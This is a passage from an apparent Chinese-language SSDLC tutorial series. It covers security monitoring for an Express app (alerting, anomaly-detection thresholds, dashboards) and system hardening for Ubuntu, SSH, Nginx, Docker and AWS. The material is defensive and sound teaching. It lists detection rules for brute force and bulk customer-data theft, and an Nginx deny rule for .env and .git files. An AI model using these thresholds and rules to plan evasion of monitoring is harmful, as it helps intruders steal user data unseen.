      <p><strong>來源 IP:</strong>${alert.event?.ip || 'N/A'}</p>
      <p><strong>使用者:</strong>${alert.event?.userId || 'N/A'}</p>
      <p><strong>時間:</strong>${new Date().toLocaleString('zh-TW')}</p>
      <hr>
      <p>請立即處理此安全事件。</p>
    `,
  });
}

// 統一告警分派
async function dispatchAlert(alert) {
  switch (alert.severity) {
    case 'CRITICAL':
      await sendSlackAlert(alert);
      await sendEmailAlert(alert);
      // P1 級別也可以整合 PagerDuty
      break;
    case 'HIGH':
      await sendSlackAlert(alert);
      await sendEmailAlert(alert);
      break;
    case 'MEDIUM':
      await sendSlackAlert(alert);
      break;
    case 'LOW':
      // 低級別不即時通知,累積到每日報告
      break;
  }
}

module.exports = { dispatchAlert, sendSlackAlert };

4.5 整合到 Express 應用程式

把前面的模組整合到你的 Express 應用程式中:

// app.js — 整合安全監控
const express = require('express');
const { logLoginAttempt, logSensitiveAction, logAccessDenied } = require('./middleware/security-audit');
const { checkAnomaly } = require('./anomaly-detector');
const { dispatchAlert } = require('./alerter');

const app = express();

// ===== 全域安全監控 Middleware =====
app.use(async (req, res, next) => {
  // 記錄請求開始時間
  req.startTime = Date.now();

  // 每個請求都做速率異常檢查
  const alerts = await checkAnomaly({
    ip: req.ip,
    path: req.path,
    method: req.method,
    userId: req.user?.id,
  });

  // 如果觸發告警,立即通知
  for (const alert of alerts) {
    await dispatchAlert(alert);
  }

  // 記錄回應狀態
  res.on('finish', () => {
    if (res.statusCode === 403) {
      logAccessDenied(req, req.originalUrl, 'HTTP 403 Forbidden');
    }
  });

  next();
});

// ===== 登入端點 =====
app.post('/api/auth/login', async (req, res) => {
  try {
    const { email, password } = req.body;
    const user = await authenticate(email, password);

    if (!user) {
      // 記錄登入失敗
      logLoginAttempt(req, false, null, 'INVALID_CREDENTIALS');

      // 檢查暴力破解
      const alerts = await checkAnomaly({
        ip: req.ip,
        userId: email,
        eventType: 'LOGIN_FAILURE',
      });
      for (const alert of alerts) {
        await dispatchAlert(alert);
      }

      return res.status(401).json({ error: '帳號或密碼錯誤' });
    }

    // 記錄登入成功
    logLoginAttempt(req, true, user.id);

    // 檢查異常登入(例如新 IP、新裝置)
    const isNewLocation = await checkNewLoginLocation(user.id, req.ip);
    if (isNewLocation) {
      logSecurityEvent('NEW_LOGIN_LOCATION', 'MEDIUM', {
        userId: user.id,
        ip: req.ip,
        country: await geolocate(req.ip),
      });
    }

    const token = generateToken(user);
    res.json({ token });

  } catch (error) {
    logSecurityEvent('AUTH_ERROR', 'HIGH', { error: error.message });
    res.status(500).json({ error: '系統錯誤,請稍後再試' });
  }
});

// ===== 敏感操作端點:會員資料匯出 =====
app.get('/api/admin/users/export', authorize('admin'), async (req, res) => {
  // 記錄敏感操作
  logSensitiveAction(req, 'DATA_EXPORT', 'users', {
    format: req.query.format,
    filters: req.query.filters,
  });

  // 檢查異常匯出行為
  const alerts = await checkAnomaly({
    userId: req.user.id,
    eventType: 'DATA_EXPORT',
    ip: req.ip,
  });

  for (const alert of alerts) {
    await dispatchAlert(alert);
  }

  // 執行匯出邏輯...
});

五、建立你的資安儀表板:該看什麼?

一個好的資安儀表板,不是把所有圖表都塞上去,而是讓你「一眼就能判斷系統是否安全」。就像汽車儀表板——你不需要看到引擎每個零件的溫度,你只需要看到速度、油量、和警示燈。

5.1 儀表板架構建議

┌─────────────────────────────────────────────────────┐
│                 🔒 資安儀表板 — 總覽                  │
├──────────────────┬──────────────────────────────────┤
│  即時狀態         │  過去 24 小時趨勢                  │
│  ┌──────┐        │  📈 登入失敗率趨勢圖              │
│  │ 🟢   │ 系統   │  📈 異常請求趨勢圖                │
│  │ 正常  │ 狀態   │  📈 API 回應時間趨勢圖            │
│  └──────┘        │                                  │
│  待處理告警:3     │                                  │
│  P1: 0  P2: 1    │                                  │
│  P3: 2  P4: 5    │                                  │
├──────────────────┴──────────────────────────────────┤
│                    關鍵指標                           │
│  登入失敗率: 2.3%  │  403 錯誤: 0.4%  │  平均回應: 180ms│
│  新註冊: 15/hr    │  資料匯出: 3/day │  異常IP: 0     │
├─────────────────────────────────────────────────────┤
│              最近安全事件(最新 10 筆)                 │
│  10:32  [MEDIUM]  來自新加坡 IP 的管理者登入            │
│  10:15  [LOW]     /admin 在非上班時間被存取             │
│  09:58  [HIGH]    帳號 user@test.com 登入失敗 5 次     │
│  ...                                                 │
└─────────────────────────────────────────────────────┘

5.2 開源工具推薦

如果你的團隊不想從零開始建儀表板,以下是常見的開源方案:

工具 用途 適合場景 費用
ELK Stack(Elasticsearch + Logstash + Kibana) 日誌收集、搜尋、視覺化 中大型團隊,需要強大的搜尋能力 開源免費(付費版有額外功能)
Grafana + Loki 日誌視覺化與告警 已使用 Prometheus 的團隊 開源免費
Wazuh SIEM(安全資訊與事件管理) 需要合規要求(如 PCI DSS)的團隊 開源免費
OSSEC 主機入侵偵測系統(HIDS) 需要監控主機層級活動的場景 開源免費

給小型團隊的務實建議:

如果你是 3-5 人的小型開發團隊,不需要一開始就搞 ELK Stack。可以先用以下組合:

Winston(Node.js 日誌)
  → 輸出到 JSON 檔案
    → 用 Grafana Loki 收集
      → 在 Grafana 建立儀表板和告警規則
        → 告警發送到 Slack

這個方案簡單、免費、能在一天內搞定,就足以應付大部分小型專案的需求。


六、實戰案例:台灣電商平台的安全監控方案

場景

你的團隊負責一個台灣電商平台,日活躍用戶約 5 萬人,處理信用卡支付和個資。老闆要求你在一個月內建立基本的安全監控。

監控方案設計

第一週:基礎日誌建設

// 定義需要監控的安全事件
const SECURITY_EVENTS = {
  // 認證相關
  AUTH_LOGIN_SUCCESS: { severity: 'INFO', alert: false },
  AUTH_LOGIN_FAILURE: { severity: 'MEDIUM', alert: true },
  AUTH_PASSWORD_CHANGE: { severity: 'HIGH', alert: true },
  AUTH_MFA_FAILURE: { severity: 'HIGH', alert: true },

  // 授權相關
  ACCESS_DENIED: { severity: 'MEDIUM', alert: true },
  PRIVILEGE_ESCALATION: { severity: 'CRITICAL', alert: true },

  // 資料相關
  DATA_EXPORT: { severity: 'HIGH', alert: true },
  BULK_DATA_ACCESS: { severity: 'HIGH', alert: true },
  DATA_DELETION: { severity: 'CRITICAL', alert: true },

  // 支付相關
  PAYMENT_FAILURE: { severity: 'MEDIUM', alert: false },
  PAYMENT_ANOMALY: { severity: 'HIGH', alert: true },    // 如異常金額、頻率
  REFUND_REQUEST: { severity: 'MEDIUM', alert: false },
  BULK_REFUND: { severity: 'CRITICAL', alert: true },    // 短時間大量退款

  // 系統相關
  CONFIG_CHANGE: { severity: 'HIGH', alert: true },
  SERVICE_DOWN: { severity: 'CRITICAL', alert: true },
};

第二週:異常偵測規則

針對電商場景,設定以下偵測規則:

規則名稱 偵測邏輯 為什麼重要
暴力破解 15 分鐘內同一帳號或 IP 登入失敗 ≥ 5 次 防止帳號被盜
帳號列舉 10 分鐘內同一 IP 嘗試登入 ≥ 10 個不同帳號 攻擊者在確認有效帳號
異常支付 單一帳號 1 小時內消費金額 > NT$50,000 可能使用盜刷的信用卡
批次退款 單一管理員 1 小時內核准退款 ≥ 10 筆 可能是內部人員舞弊
大量資料匯出 24 小時內匯出用戶資料 ≥ 3 次 可能正在竊取客戶資料
非工時管理行為 深夜 23:00-06:00 有管理員登入 可能帳號被盜
地理位置異常 同一帳號 1 小時內從不同國家登入 帳號幾乎確定被盜

第三、四週:儀表板與告警

建立 Grafana 儀表板,設定以下面板:

Dashboard: 電商平台安全監控

Panel 1: 即時告警摘要(Stat Panel)
  - P1 告警數, P2 告警數, P3 告警數

Panel 2: 登入失敗率(Time Series)
  - Query: rate(login_failures[5m]) / rate(login_total[5m])
  - Alert: > 15% for 5 minutes

Panel 3: Top 10 被封鎖的 IP(Table)
  - 顯示被速率限制或暴力破解規則封鎖的 IP

Panel 4: 敏感操作時間軸(Logs Panel)
  - 過濾 severity = HIGH 或 CRITICAL 的事件

Panel 5: API 錯誤率(Time Series)
  - 4xx 和 5xx 錯誤的趨勢

Panel 6: 支付異常(Time Series)
  - 異常交易金額和退款趨勢

七、安全監控 Checklist:你的團隊可以直接用

日誌建設 Checklist

## 日誌記錄
- [ ] 所有認證事件(登入成功/失敗、登出、密碼變更)有記錄
- [ ] 所有授權失敗事件(403)有記錄
- [ ] 敏感資料存取行為有記錄
- [ ] 管理後台操作有記錄
- [ ] 系統設定變更有記錄
- [ ] 日誌中不包含密碼、Token、信用卡等敏感資料
- [ ] 日誌格式為結構化 JSON
- [ ] 每筆日誌包含:時間戳、事件類型、來源 IP、使用者 ID、請求 ID

## 日誌保存
- [ ] 日誌保存至少 6 個月(依法規要求調整)
- [ ] 日誌有備份機制
- [ ] 日誌存取有權限控制(不是所有人都能看日誌)
- [ ] 日誌完整性有保護(防止被竄改)

## 異常偵測
- [ ] 暴力破解偵測規則已設定
- [ ] 帳號列舉偵測規則已設定
- [ ] 異常存取模式偵測規則已設定
- [ ] 非上班時間敏感操作偵測規則已設定
- [ ] 異常資料匯出偵測規則已設定

## 告警與回應
- [ ] 告警分級制度已定義(P1-P4)
- [ ] P1/P2 告警有即時通知管道(Slack / Email / 電話)
- [ ] 告警通知有指定的負責人
- [ ] 告警有升級(Escalation)機制
- [ ] 定期檢視告警規則,減少誤報

## 儀表板
- [ ] 有即時安全狀態總覽
- [ ] 有關鍵安全指標趨勢圖
- [ ] 有最近安全事件清單
- [ ] 儀表板存取有權限控制

八、團隊落地建議:讓安全監控變成日常

建議一:從「三個最重要的指標」開始

不要一開始就想建一個完美的 SIEM 系統。先問自己:「如果只能看三個指標,我要看哪三個?」

對大多數 Web 應用來說,這三個最關鍵:

  1. 登入失敗率 — 偵測帳號被盜或暴力破解
  2. 403/401 錯誤趨勢 — 偵測越權存取嘗試
  3. API 回應時間 P95 — 偵測 DoS 攻擊或效能異常

先把這三個監控好、告警設好,再逐步擴展。

建議二:每週花 15 分鐘做「安全巡檢」

就像大樓管理員每天巡邏一樣,指定一位團隊成員(可以輪值),每週花 15 分鐘看一下資安儀表板:

## 每週安全巡檢報告

日期:2026/02/28
巡檢人:工程師 A

### 本週告警摘要
- P1: 0 件
- P2: 2 件(已處理)
- P3: 8 件(5 件已處理,3 件評估為誤報)

### 異常發現
- 來自越南 IP 的登入嘗試增加 30%(已加入黑名單)
- /api/users/export 被同一個管理員呼叫 12 次(已確認為正常業務需求)

### 行動項目
- [ ] 調整帳號列舉規則的閾值(目前誤報率偏高)
- [ ] 確認 AWS 帳單是否有異常(本週流量增加 15%)

建議三:把監控和事件回應串起來

監控只是偵測,偵測到之後需要有標準的處理流程。建議建立一個簡單的事件回應 SOP:

發現異常
  │
  ├─ P1(緊急)→ 立即通知資安負責人 → 15 分鐘內開始處理
  │                → 同步通知主管和相關人員
  │
  ├─ P2(嚴重)→ Slack 通知 → 1 小時內開始調查
  │                → 記錄在事件追蹤系統
  │
  ├─ P3(中等)→ Slack 通知 → 4 小時內評估
  │                → 判斷是否為誤報
  │
  └─ P4(低)  → 每日彙整報告 → 下個工作日處理

建議四:別忘了監控「監控系統本身」

這聽起來很像雞生蛋蛋生雞的問題,但非常重要。如果你的日誌系統掛了、告警通知沒送出去,你根本不知道自己「瞎了」。

簡單的做法:設定一個「心跳檢查」,每 5 分鐘讓監控系統送一個測試告警到你的 Slack。如果超過 10 分鐘沒收到心跳,代表監控系統本身可能有問題。


九、與台灣法規的連結

安全監控不只是技術需求,也是法規要求。在前面的法規遵循指南中,我們提到:

法規 監控相關要求
個資法 建立個資檔案安全維護計畫,包含「事故之預防、通報及應變機制」
資安法 資安事件須在 1~72 小時內通報(依等級),系統必須有偵測與告警能力
金融資安行動方案 核心系統須有即時告警,資安事件須在 30 分鐘~24 小時內通報
上市櫃資安管控指引 須建立資安事件偵測、告警與通報機制

沒有監控,你連「有沒有發生資安事件」都不知道——更別說在規定時間內通報了。


常見問題 FAQ

Q1:小團隊預算有限,用什麼方案最務實?

Winston(日誌)+ Redis(計數器)+ Slack Webhook(告警) 這個組合,幾乎零成本就能建立基本的安全監控。不需要 ELK、不需要 Splunk。等團隊規模和流量長大了,再考慮升級到 Grafana + Loki 或 ELK Stack。先有比完美更重要。

Q2:告警太多,團隊已經「告警疲勞」了怎麼辦?

這是很常見的問題。解決方法有三個:一是提高告警閾值,寧可漏掉一些低風險的,也不要淹沒在噪音裡;二是做告警聚合,同一種類型的告警在 5 分鐘內只通知一次,附上數量統計;三是定期清理規則,每個月檢視一次,把過去 30 天裡「收到之後從來沒有需要處理」的告警規則降級或移除。

Q3:要監控到什麼程度才算「夠」?

沒有標準答案,但可以用這個檢驗標準:如果現在有人在竊取你的使用者資料,你能在多久內發現? 如果答案是「不知道」或「幾天後」,那監控絕對不夠。目標是把這個時間縮短到「幾分鐘到幾小時內」。IBM 的年度報告統計,全球企業平均要 194 天才能發現資料外洩——你不會想成為這個統計數字的一部分。

Q4:日誌要保存多久?

台灣法規的最低要求通常是 6 個月,但建議保存至少 1 年。如果你是金融業或處理大量個資,考慮保存 2-3 年。日誌存儲的成本遠低於事後無法調查的代價。


十、結語:看見,才能保護

回到蓋房子的比喻。你花了大量心血設計防震結構、選用防火建材、安裝堅固門鎖。但如果沒有煙霧偵測器,一場小火可能在你睡夢中燒毀一切;如果沒有監視器,小偷可以從容地搬走你的家當。

安全監控就是你系統的「眼睛」和「耳朵」。它不會阻止攻擊發生,但它能確保你在第一時間知道、第一時間反應。

「安全不是恐懼,而是創造的基礎。而監控,就是讓你安心創造的守護者。」

下一篇,我們將進入事件回應 SOP——當告警真的響起來了,你和你的團隊該怎麼辦?別擔心,有了監控的基礎,你已經贏在起跑點了。


延伸閱讀

[安全部署] 001 系統強化 Hardening 入門指南:關閉不必要的門窗|CIS Benchmark 應用與容器、雲端環境強化實戰

「房子蓋好了、驗收也過了,但你有檢查過哪些窗戶還開著嗎?系統強化,就是交屋後的最後一道安全流程。」
— SSDLC by 飛飛


為什麼你需要系統強化?蓋好房子不等於住進去就安全

在 SSDLC 的學習旅程中,我們已經走過了安全需求定義、安全設計、安全編碼,也做了 SAST、DAST、CI/CD 安全整合,甚至請人做了滲透測試。現在,系統終於要上線了——恭喜你來到了階段五:部署

但先等一下。你的程式碼再安全、測試再完整,如果跑在一台設定不當的伺服器上,那一切都白費了

延續蓋房子的比喻:你花了大錢請建築師畫防震設計圖、用了最好的防火建材、裝了頂級保全系統。但交屋那天,你發現——後門沒鎖、地下室的窗戶大開、備用鑰匙還掛在門口、Wi-Fi 密碼是 <code>12345678</code>。

這就是「系統強化(System Hardening)」要解決的問題:把所有不必要的門窗關上、把預設的弱設定改掉、把用不到的服務停掉

一個真實的痛點

2021 年,台灣某知名論壇因為伺服器的 Apache Struts 未即時更新,被駭客利用已知漏洞入侵,導致數百萬筆會員資料外洩。問題不在程式碼,而在運行環境的設定與維護

類似的案例層出不窮:AWS S3 Bucket 設成公開、Docker 容器用 root 跑服務、資料庫預設帳號密碼沒改、SSH 允許 root 遠端登入⋯⋯這些都不是程式邏輯的漏洞,而是系統設定的疏忽

飛飛觀點:
很多開發者覺得「部署是 DevOps 的事、設定是 SRE 的事」。但在 SSDLC 的理念中,安全是每個人的責任。你寫的程式跑在什麼環境上、那個環境夠不夠安全,這直接影響你的程式碼能不能真正保護使用者。


什麼是系統強化(Hardening)?把「預設不安全」變成「預設安全」

系統強化,簡單來說就是:減少系統的攻擊面(Attack Surface)

每一台伺服器、每一個容器、每一個雲端服務,出廠時都會帶著一堆預設設定。這些預設設定的設計目標是「讓你能快速上手」,而不是「讓你最安全」。所以你會看到:

  • 作業系統預裝了一堆你用不到的服務(FTP、Telnet、SNMP)
  • Web 伺服器預設開啟目錄列表(Directory Listing)
  • 資料庫預設允許遠端連線且帳號密碼是 <code>admin/admin</code>
  • Docker 容器預設用 root 執行
  • 雲端服務的 Security Group 預設允許 0.0.0.0/0 入站

系統強化就是有系統性地把這些「門窗」一扇扇關上,只留下你真正需要的。

系統強化 vs. 安全設計原則的關係

還記得我們在安全設計階段學的七大原則嗎?系統強化其實就是這些原則在維運階段的具體實踐:

安全設計原則 在系統強化中的應用
最小權限 服務帳號只給需要的權限、容器不用 root 跑
預設安全 關閉不必要的服務和 Port、移除預設帳號
縱深防禦 網路層 + 主機層 + 應用層多層設定
最小共享 每個服務獨立隔離、不共用帳號和憑證
失敗安全 防火牆預設拒絕、只開白名單

CIS Benchmark 是什麼?你的系統強化教科書

自己從零開始想「該關哪些門窗」太費時了,而且很容易漏掉。好在,有人已經幫你整理好了——這就是 CIS Benchmark

CIS(Center for Internet Security,網際網路安全中心) 是一個非營利組織,集結了全球數千位資安專家,針對各種作業系統、雲端平台、容器、資料庫、網路設備,制定了詳細的安全設定建議

用蓋房子比喻:CIS Benchmark 就像「建築安全規範手冊」。你不需要自己去研究鋼筋要多粗、消防通道要多寬——規範手冊都寫好了,你照著做就好。

CIS Benchmark 的七大類別

類別 涵蓋範圍 常見範例
作業系統 Windows、Linux、macOS Ubuntu 24.04、Windows Server 2022、RHEL 9
伺服器軟體 Web 伺服器、資料庫 Nginx、Apache、PostgreSQL、MySQL
雲端平台 三大雲的基礎設定 AWS Foundations、Azure Foundations、GCP
容器與編排 容器化環境 Docker、Kubernetes
網路設備 防火牆、交換器 Cisco、Palo Alto、Fortinet
桌面軟體 瀏覽器、辦公軟體 Chrome、Firefox、Microsoft 365
行動裝置 手機作業系統 iOS、Android

兩個安全等級:Level 1 與 Level 2

CIS Benchmark 把建議分成兩個等級,你可以根據自己的風險承受度來選擇:

等級 說明 適合對象 對系統的影響
Level 1 基本安全建議,適用於所有環境 所有系統,尤其是剛開始做強化的團隊 低,幾乎不影響功能
Level 2 進階安全建議,提供更高的防護 處理敏感資料的系統(如金融、醫療) 中,可能需要調整部分功能

飛飛觀點:
如果你的團隊是第一次做系統強化,先從 Level 1 開始就好。不要一開始就追求 Level 2 全部滿分——那就像新手健身第一天就舉 100 公斤,只會受傷。先把 Level 1 做扎實,再逐步升級。

如何取得 CIS Benchmark?

CIS Benchmark 是免費下載的(PDF 格式),你只需要到 CIS 官網註冊帳號即可:

  1. 前往 https://www.cisecurity.org/cis-benchmarks
  2. 選擇你需要的技術類別(如 Linux、Docker、AWS)
  3. 填寫基本資訊後即可下載 PDF

實戰:Node.js 應用常見的系統強化項目

讓我們回到 SSDLC by 飛飛系列一直使用的技術棧——Node.js + Express,看看在部署時有哪些系統強化的工作要做。

一、作業系統層級強化(以 Ubuntu 為例)

# ═══════════════════════════════════════
# 1. 更新系統,修補已知漏洞
# ═══════════════════════════════════════
sudo apt update && sudo apt upgrade -y

# 啟用自動安全更新(就像設定自動繳管理費,不會忘記)
sudo apt install unattended-upgrades -y
sudo dpkg-reconfigure --priority=low unattended-upgrades

# ═══════════════════════════════════════
# 2. 移除不必要的服務(關閉不需要的門窗)
# ═══════════════════════════════════════
# 列出目前啟用的服務
systemctl list-unit-files --type=service --state=enabled

# 停用並關閉不需要的服務
sudo systemctl stop avahi-daemon && sudo systemctl disable avahi-daemon   # mDNS 服務
sudo systemctl stop cups && sudo systemctl disable cups                     # 列印服務
sudo systemctl stop rpcbind && sudo systemctl disable rpcbind               # NFS 相關

# ═══════════════════════════════════════
# 3. 設定防火牆(只開需要的 Port)
# ═══════════════════════════════════════
# 使用 UFW(Uncomplicated Firewall)
sudo ufw default deny incoming    # 預設拒絕所有入站(失敗安全原則)
sudo ufw default allow outgoing   # 允許出站
sudo ufw allow 22/tcp             # SSH(建議改用非標準 Port)
sudo ufw allow 443/tcp            # HTTPS
sudo ufw allow 80/tcp             # HTTP(建議只用於重導到 HTTPS)
sudo ufw enable

# ═══════════════════════════════════════
# 4. SSH 強化(鎖好遠端登入的大門)
# ═══════════════════════════════════════
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.backup
# /etc/ssh/sshd_config 安全設定
# 參考 CIS Benchmark for Ubuntu — SSH Server Configuration

Port 2222                          # 改用非標準 Port,減少自動化掃描
PermitRootLogin no                 # 禁止 root 直接登入
PasswordAuthentication no          # 禁用密碼登入,只允許 SSH Key
PubkeyAuthentication yes           # 啟用公鑰認證
MaxAuthTries 3                     # 最多嘗試 3 次
ClientAliveInterval 300            # 5 分鐘無活動斷開
ClientAliveCountMax 2              # 最多容忍 2 次無回應
AllowUsers deploy                  # 只允許特定使用者登入
Protocol 2                         # 只用 SSH Protocol 2
X11Forwarding no                   # 關閉 X11 轉發
# 重啟 SSH 服務讓設定生效
sudo systemctl restart sshd

# ═══════════════════════════════════════
# 5. 建立專用服務帳號(最小權限原則)
# ═══════════════════════════════════════
# 建立一個沒有 shell 的專用帳號跑 Node.js
sudo useradd --system --no-create-home --shell /usr/sbin/nologin nodeapp

二、Node.js 與 Express 應用層級強化

// app.js — 生產環境的安全設定
const express = require('express');
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');

const app = express();

// ═══════════════════════════════════════
// 1. 使用 Helmet 設定安全標頭
// ═══════════════════════════════════════
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      mediaSrc: ["'self'"],
      frameSrc: ["'none'"],
    },
  },
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: true,
  crossOriginResourcePolicy: { policy: "same-site" },
  dnsPrefetchControl: true,
  frameguard: { action: 'deny' },
  hidePoweredBy: true,                     // ✅ 移除 X-Powered-By
  hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
  ieNoOpen: true,
  noSniff: true,
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  xssFilter: true,
}));

// ═══════════════════════════════════════
// 2. 速率限制(防止暴力攻擊與 DDoS)
// ═══════════════════════════════════════
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000,   // 15 分鐘
  max: 100,                     // 每個 IP 最多 100 次請求
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: '請求過於頻繁,請稍後再試' }
});
app.use('/api/', limiter);

// ═══════════════════════════════════════
// 3. 關閉不必要的功能
// ═══════════════════════════════════════
app.disable('x-powered-by');           // 不洩露技術棧
app.disable('etag');                   // 視情況關閉(防止資訊洩露)

// ═══════════════════════════════════════
// 4. 安全的錯誤處理(不洩露內部資訊)
// ═══════════════════════════════════════
if (process.env.NODE_ENV === 'production') {
  app.use((err, req, res, next) => {
    console.error(<code>[${new Date().toISOString()}] Error:</code>, {
      message: err.message,
      stack: err.stack,        // 只記到伺服器日誌
      url: req.originalUrl,
      method: req.method,
      ip: req.ip
    });

    res.status(err.status || 500).json({
      error: '系統處理時發生錯誤,請稍後再試'
      // ❌ 絕不回傳 err.stack 或 err.message
    });
  });
}

// ═══════════════════════════════════════
// 5. 只監聽必要的介面
// ═══════════════════════════════════════
const PORT = process.env.PORT || 3000;
const HOST = process.env.HOST || '127.0.0.1';  // ✅ 只監聽 localhost
// 外部流量由 Nginx 反向代理進來,Node.js 不直接暴露

app.listen(PORT, HOST, () => {
  console.log(<code class="kb-btn">Server running on ${HOST}:${PORT}</code>);
});

三、Nginx 反向代理強化

# /etc/nginx/conf.d/security.conf — Nginx 安全設定
# 參考 CIS Benchmark for Nginx

# 隱藏版本號(不讓攻擊者知道你用什麼版本)
server_tokens off;

# 限制請求大小(防止大檔案攻擊)
client_max_body_size 10M;
client_body_buffer_size 1K;
client_header_buffer_size 1K;
large_client_header_buffers 2 1K;

# 超時設定(防止慢速攻擊 Slowloris)
client_body_timeout 10;
client_header_timeout 10;
keepalive_timeout 15;
send_timeout 10;

# 安全標頭(與 Helmet 互補)
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

# 只允許安全的 TLS 版本和加密套件
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;

# 禁用不安全的 HTTP 方法
if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|PATCH)$ ) {
    return 405;
}
# /etc/nginx/sites-available/myapp.conf
server {
    listen 80;
    server_name myapp.com.tw;
    # 強制導向 HTTPS
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl http2;
    server_name myapp.com.tw;

    ssl_certificate /etc/letsencrypt/live/myapp.com.tw/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/myapp.com.tw/privkey.pem;

    # HSTS — 告訴瀏覽器永遠用 HTTPS
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    location /api/ {
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # 隱藏後端的 Header
        proxy_hide_header X-Powered-By;
    }

    # 禁止存取隱藏檔案(.env, .git 等)
    location ~ /\. {
        deny all;
        access_log off;
        log_not_found off;
    }
}

容器環境強化:Docker 不是天生安全的

容器化部署是現代應用的標配,但 Docker 的預設設定有不少安全隱患。很多開發者以為「放進容器就是隔離了」,但如果容器裡跑的是 root、映像裡藏著漏洞、網路沒有隔離——那容器只是一層薄薄的保鮮膜,不是防彈衣。

Dockerfile 安全最佳實踐

# ═══════════════════════════════════════
# 安全的 Node.js Dockerfile
# 參考 CIS Docker Benchmark
# ═══════════════════════════════════════

# 1. 使用特定版本的精簡映像(不用 latest,不用完整版)
FROM node:20.11-alpine AS builder

WORKDIR /app

# 2. 只複製 package 檔案,利用 Docker 快取
COPY package.json package-lock.json ./

# 3. 使用 npm ci(確保依賴與 lock 檔一致)
RUN npm ci --only=production && npm cache clean --force

# ─── 第二階段:只帶需要的東西 ───
FROM node:20.11-alpine

# 4. 加入安全更新
RUN apk update && apk upgrade --no-cache && rm -rf /var/cache/apk/*

# 5. 建立非 root 使用者(最小權限原則)
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

WORKDIR /app

# 6. 從 builder 階段複製依賴
COPY --from=builder /app/node_modules ./node_modules
COPY . .

# 7. 設定檔案權限
RUN chown -R appuser:appgroup /app

# 8. 切換到非 root 使用者
USER appuser

# 9. 只暴露需要的 Port
EXPOSE 3000

# 10. 使用 dumb-init 或 tini 處理信號(避免殭屍程序)
RUN apk add --no-cache tini
ENTRYPOINT ["/sbin/tini", "--"]

# 11. 健康檢查
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1

CMD ["node", "server.js"]

Docker Compose 安全設定

# docker-compose.yml — 安全設定範例
version: '3.8'

services:
  app:
    build: .
    ports:
      - "127.0.0.1:3000:3000"   # ✅ 只綁定 localhost,不暴露到外網
    environment:
      - NODE_ENV=production
    # ═══ 安全設定 ═══
    read_only: true               # ✅ 唯讀檔案系統
    tmpfs:
      - /tmp                      # 只有 /tmp 可寫入
    security_opt:
      - no-new-privileges:true    # ✅ 禁止提權
    cap_drop:
      - ALL                       # ✅ 移除所有 Linux Capabilities
    cap_add:
      - NET_BIND_SERVICE          # 只加回需要的(如果要綁 Port < 1024)
    deploy:
      resources:
        limits:
          cpus: '1.0'             # ✅ 限制 CPU 使用量
          memory: 512M            # ✅ 限制記憶體
    networks:
      - frontend                  # ✅ 放在專屬網路

  db:
    image: postgres:16-alpine
    volumes:
      - db-data:/var/lib/postgresql/data
    environment:
      POSTGRES_PASSWORD_FILE: /run/secrets/db_password  # ✅ 用 Secret 管理密碼
    networks:
      - backend                   # ✅ 資料庫在獨立網路

# ═══ 網路隔離(最小共享原則)═══
networks:
  frontend:
    driver: bridge
  backend:
    driver: bridge
    internal: true                # ✅ 後端網路不連外網

volumes:
  db-data:

secrets:
  db_password:
    file: ./secrets/db_password.txt

容器映像掃描:上線前的健康檢查

# 使用 Trivy 掃描容器映像中的漏洞
# 安裝 Trivy
# macOS
brew install trivy

# Linux
sudo apt-get install trivy

# 掃描你的映像
trivy image my-app:latest

# 只顯示高風險和嚴重漏洞
trivy image --severity HIGH,CRITICAL my-app:latest

# 整合進 CI/CD(發現嚴重漏洞就失敗)
trivy image --exit-code 1 --severity CRITICAL my-app:latest

飛飛觀點:
容器安全最常被忽略的三件事:用 root 跑、用 latest 標籤、不掃描映像。只要解決這三個問題,你的容器安全就已經贏過大多數人了。


雲端環境強化:AWS / GCP / Azure 的安全設定

如果你的應用部署在雲端,除了伺服器本身,還有一整層「雲端服務設定」需要強化。CIS 針對三大雲端平台都有專門的 Benchmark,以下用 AWS 為例說明最關鍵的設定。

AWS 常見的安全設定問題

問題 風險等級 正確做法
S3 Bucket 設為公開 🔴 嚴重 預設私有,需要公開的用 CloudFront 分發
IAM 使用者用 root 帳號操作 🔴 嚴重 建立 IAM 使用者,root 只用於帳號管理
Security Group 允許 0.0.0.0/0 SSH 🔴 嚴重 只允許特定 IP 或 VPN 的 CIDR 範圍
未啟用 CloudTrail 稽核日誌 🟡 高風險 啟用 CloudTrail 並送到獨立的 S3 Bucket
未啟用 MFA 🟡 高風險 所有 IAM 使用者強制 MFA
EBS 未加密 🟡 高風險 預設啟用 EBS 加密
RDS 可公開存取 🔴 嚴重 放在 Private Subnet,不開放公開存取

以 Terraform 實作安全的 AWS 基礎設施

# main.tf — 安全的 AWS 基礎設施設定
# 參考 CIS AWS Foundations Benchmark

# ═══════════════════════════════════════
# 1. S3 Bucket 安全設定
